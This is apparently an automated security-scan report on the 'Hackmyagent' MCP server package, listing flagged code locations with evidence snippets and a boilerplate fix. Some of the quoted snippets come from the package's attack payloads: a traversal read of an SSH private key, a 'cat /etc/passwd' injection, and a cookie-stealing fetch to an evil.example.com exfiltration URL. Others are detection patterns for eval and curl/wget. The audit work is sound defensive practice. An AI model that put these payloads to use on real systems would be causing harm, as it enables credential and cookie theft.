Hackmyagent MCP Server

In the server's implementation (`dist/attack/payloads/mcp-exploitation.js:61`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ../../../home/user/.ssh/id_rsa"}', successIndicators: [ /BEGIN (RSA |OPENSSH )?PRIVATE KEY/i,

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/attack/payloads/mcp-exploitation.js

In the server's implementation (`dist/nanomind-core/fix-generator.js:607`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: t.config.json', '.npmrc.json', '.nvmrc.json', ]); return repoConfigBasenames.has(basename); } fu

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/nanomind-core/fix-generator.js

In the server's implementation (`dist/nanomind-core/scanner-bridge.js:182`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: g.json' || fileName === '.npmrc') { continue; } // Select analyzers based on art

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/nanomind-core/scanner-bridge.js

In the server's implementation (`dist/hardening/scanner.js:3224`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: /\beval\s*\(/, // eval( /\$\(curl\b/, // $(curl /\$\(wget\b/, // $(wget ];

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/hardening/scanner.js

In the server's implementation (`dist/hardening/scanner.js:3224`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: /\beval\s*\(/, // eval( /\$\(curl\b/, // $(curl /\$\(wget\b/, // $(wget ];

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/hardening/scanner.js

In the server's implementation (`dist/nanomind-core/analyzers/code-analyzer.js:170`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: fix: 'Remove eval(), new Function(), and similar dynamic code execution: ' + '1. Replace eval

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/nanomind-core/analyzers/code-analyzer.js

In the server's implementation (`dist/nanomind-core/fix-generator.js:323`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: xecution via curl|sh or eval() gives an attacker who controls the URL full system access.`); } else { pa

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/nanomind-core/fix-generator.js

In the server's implementation (`dist/attack/payloads/parser-differential.js:60`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: e safe code\nimport os; os.system("cat /etc/passwd")\n```', successIndicators: [ /script.*executed|r

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/attack/payloads/parser-differential.js

In the server's implementation (`dist/cli.js:2802`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: { execSync } = require('child_process'); const url = execSync('git remote get-url origin', { cwd: ta

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/cli.js

In the server's implementation (`dist/eval/oracle.js:52`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: rintOracleReport; const child_process_1 = require("child_process"); const fs = __importStar(require("fs")); const path =

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/eval/oracle.js

In the server's implementation (`dist/hardening/nemoclaw-scanner.js:45`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: EGORIES = void 0; const child_process_1 = require("child_process"); const fs_1 = require("fs"); const path = __importSta

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/hardening/nemoclaw-scanner.js

In the server's implementation (`dist/hardening/scanner.js:53`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: require("path")); const child_process_1 = require("child_process"); const semantic_1 = require("../semantic"); const tax

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/hardening/scanner.js

In the server's implementation (`dist/nanomind-core/analyzers/code-analyzer.js:75`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: 'Functions like exec(), spawn(), execSync(), or child_process are called ' + 'with data that

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/nanomind-core/analyzers/code-analyzer.js

In the server's implementation (`dist/nanomind-core/daemon-lifecycle.js:17`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: nsureDaemon; const node_child_process_1 = require("node:child_process"); const node_fs_1 = require("node:fs"); const nod

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/nanomind-core/daemon-lifecycle.js

In the server's implementation (`dist/nanomind-core/inference/security-analyst.js:41`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: IntelReport; const node_child_process_1 = require("node:child_process"); const node_fs_1 = require("node:fs"); const nod

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/nanomind-core/inference/security-analyst.js

In the server's implementation (`dist/narrative/mcp-narrative.js:133`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: e) { if (/spawn|child_process|exec\(/i.test(risk.evidence ?? "")) { effects.add("spawns child proces

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/narrative/mcp-narrative.js

In the server's implementation (`dist/oasb/harness/dvaa-manager.js:40`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: Manager = void 0; const child_process_1 = require("child_process"); const path = __importStar(require("path")); const ht

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/oasb/harness/dvaa-manager.js

In the server's implementation (`dist/attack/payloads/parser-differential.js:60`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: e block\n```\n\n<script>fetch("https://evil.example.com/exfil?data="+document.cookie)</script>\n\n```python\n# This look

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/attack/payloads/parser-differential.js

In the server's implementation (`dist/cli.js:8552`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: const metaRes = await fetch(`https://pypi.org/pypi/${encodeURIComponent(name)}/json`); if (!metaRes.ok) {

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/cli.js

In the server's implementation (`dist/simulation/llm-executor.js:65`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: const resp = await fetch('https://api.anthropic.com/v1/messages', { method: 'POST', headers

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/simulation/llm-executor.js

In the server's implementation (`dist/soul/scanner.js:1442`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: const response = await fetch('https://api.anthropic.com/v1/messages', { method: 'POST',

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/soul/scanner.js

In the server's implementation (`dist/cli.js:3725`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: scannerVersion = require(hmaPackagePath).version || 'unknown'; } catch {

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/cli.js

In the server's implementation (`dist/plugins/secretless.js:16`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: rts const mod = require(moduleName); _secretlessApi = { init: mod.init, scan: mo

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/plugins/secretless.js

In the server's implementation (`dist/registry/publish.js:304`): Loading a module chosen at runtime (from a variable) can pull in and run attacker-influenced code paths. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ; toolVersion = require(pkgPath).version; } catch { // Fallback version } const payload

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/registry/publish.js